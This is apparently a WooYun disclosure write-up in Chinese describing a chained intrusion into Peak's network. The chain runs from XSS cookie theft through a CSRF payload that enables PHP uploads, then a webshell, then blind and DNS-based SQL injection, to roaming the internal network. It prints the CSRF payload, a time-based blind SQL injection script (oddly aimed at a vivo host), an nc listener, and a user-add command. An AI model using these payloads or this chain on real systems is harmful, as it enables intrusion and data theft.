当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0204481

漏洞标题:我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

相关厂商:epeaksport.com

漏洞作者: 路人甲

提交时间:2016-05-03 09:31

修复时间:2016-05-09 09:00

公开时间:2016-05-09 09:00

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-03: 细节已通知厂商并且等待厂商处理中
2016-05-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

此次测试历时大半个月吧,不容易啊

详细说明:

mask 区域
1.http://**.**.**/


先看看存不存在上传,不可以,做了限制
然后匹克某站存在xss漏洞

mask 区域
1.http://**.**.**/bugs/wooyun-2010-052615


官方修复了,前端做了限制,正常思路,抓包绕过

QQ20160502-1.png


QQ20160502-6.png


等了好几天,打到一堆,终于打到了管理的cookie

QQ20160502-5.png


成功登陆,
发现了这个

QQ20160502-4.png


试着修改图片上传类型,结果提示不是超级管理员权限不够,又用之前打到的一堆cookie试着登陆,有一个cookie登陆后,直接就302跳转了,猜想这个可能超级管理员啊
ip做了限制?
咋办啊?又纠结了好久,接着翻了翻匹克之前的洞
CSRF
缺陷编号: WooYun-2015-128938
漏洞标题: 匹克多处CSRF漏洞

mask 区域
1.http://**.**.**/bugs/wooyun-2010-0128938


后台会不会同样存在csrf呢,结果真有,全站都未做csrf防护啊
我灵机一动,当XSS遇上CSRF 是不是会有很大的“化学反应呢”
构造了个POC,放在vps上了

<html>
<script>enclosure.pic_mime.value=".php|.jsp|.aspx";enclosure.submit.focus();</script>
</html>


插入xss代码
<iframe src="http://********/test.html" />
又是过了好久,头像可以上传了,成功getshell

QQ20160502-7.png


QQ20160502-9.png


试着添加用户
net user test test /add
权限不够,不是root权限,试着提权没成功
然后想到这就算了,就在这时,我又发现了匹克一处union注入,
我就想可不可以通过其他途径getshell呢,比如select into outfile

QQ20160502-10.png


可是不知道路径...
天无绝人之路,许久之前我找到过匹克的一个盲注,影响不大就没提交,想想这回用上了
匹克主站是有安全狗的,不过可以用/**)*/绕过

QQ20160414-0.png


root权限
附上poc脚本

#encoding=utf-8
__author__ = 'Lu'
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 17):
for payload in payloads:
s = "cat_id=22) AND if((ascii(mid(lower(user()),%s,1))=%s),SLEEP(5),0) AND (8663=8663&orderBy=1&showtype=list&&virtual_cat_id=" % (i, ord(payload))
conn = httplib.HTTPConnection('http://shop1.vivo.com.cn:80', timeout=30)
conn.request(method='POST', url='/gallery-ajax_get_goods.html', body=s, headers=headers)
start_time = time.time()
html_doc = conn.getresponse().read()
conn.close()
print '.',
if time.time() - start_time > 1.0:
user += payload
print '\n[in progress]', user,
break

print '\n[Done] MySQL user is %s' % user


想想这回有戏啊,mysql 可以利用LOAD_FILE弄到路径
盲注,而且还有安全狗,实在太慢了,
于是想到可以利用DNS解析获取SQL结果啊
这是一种利用DNS解析过程获取恶意SQL查询结果的先进的SQL注入技术。带有sql查询结果的DNS请求最终被攻击者控制的远程域名服务器拦截并提取出宝贵的数据。
利用DNS从有漏洞的数据库中渗出数据的前提条件是DBMS中有可用的能直接或间接引发DNS解析过程的子程序。 然后这类的子程序被攻击者利用,作为攻击的媒介。
因为sqlmap中没有过这个安全狗的tamper,于是自己仿照着space2comments.py改写了一个

QQ20160502-11.png


QQ20160502-12.png


远程登录vps
nc -lvvp 6666进行监听

QQ20160503-2.png


利用sqlmap --dns-domain --sql-shell
路径拿到

QQ20160503-7.png


利用刚刚的union注入写入shell

QQ20160503-1.png


这回是root权限

QQ20160503-2.png


net use 添加用户 远程登录

QQ20160503-6.png


成功漫游内网

QQ20160503-3.png


QQ20160503-4.png


QQ20160503-5.png


内网还有很多敏感性信息,可以直接控制扫面器打印机等,不进一步深入
整个测试过程大概经历了大半个月吧,从最开始的一个简单的绕过前端的xss,一点一点深入,各种组合拳,能到最后,其实也有很多运气的成分。这期间也学到了不少东西,明早还有安全编程的课,去睡了,晚安

漏洞证明:

已经证明

修复方案:

你们更加专业喽

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-05-09 09:00

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无